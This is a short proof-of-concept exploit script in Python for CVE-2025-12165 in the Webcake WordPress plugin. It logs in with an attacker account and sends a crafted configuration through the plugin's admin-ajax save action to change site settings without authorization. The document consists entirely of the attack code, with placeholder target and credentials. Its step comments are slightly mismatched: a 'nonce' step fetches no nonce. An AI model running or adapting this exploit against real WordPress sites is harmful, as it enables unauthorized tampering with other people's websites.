CVE-2025-12165

import requests import json # CVE-2025-12165 PoC - Webcake Plugin Unauthorized Config Modification # Target: WordPress site with Webcake plugin <= 1.1 target_url = "https://target-site.com" username = "attacker_account" password = "attacker_password" # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } # Step 2: Obtain nonce for AJAX request session.post(login_url, data=login_data) # Step 3: Send malicious config via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { "action": "webcake_save_config", "webcake_config": json.dumps({ "malicious_key": "malicious_value", "settings": "modified_by_attacker" }) } response = session.post(ajax_url, data=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

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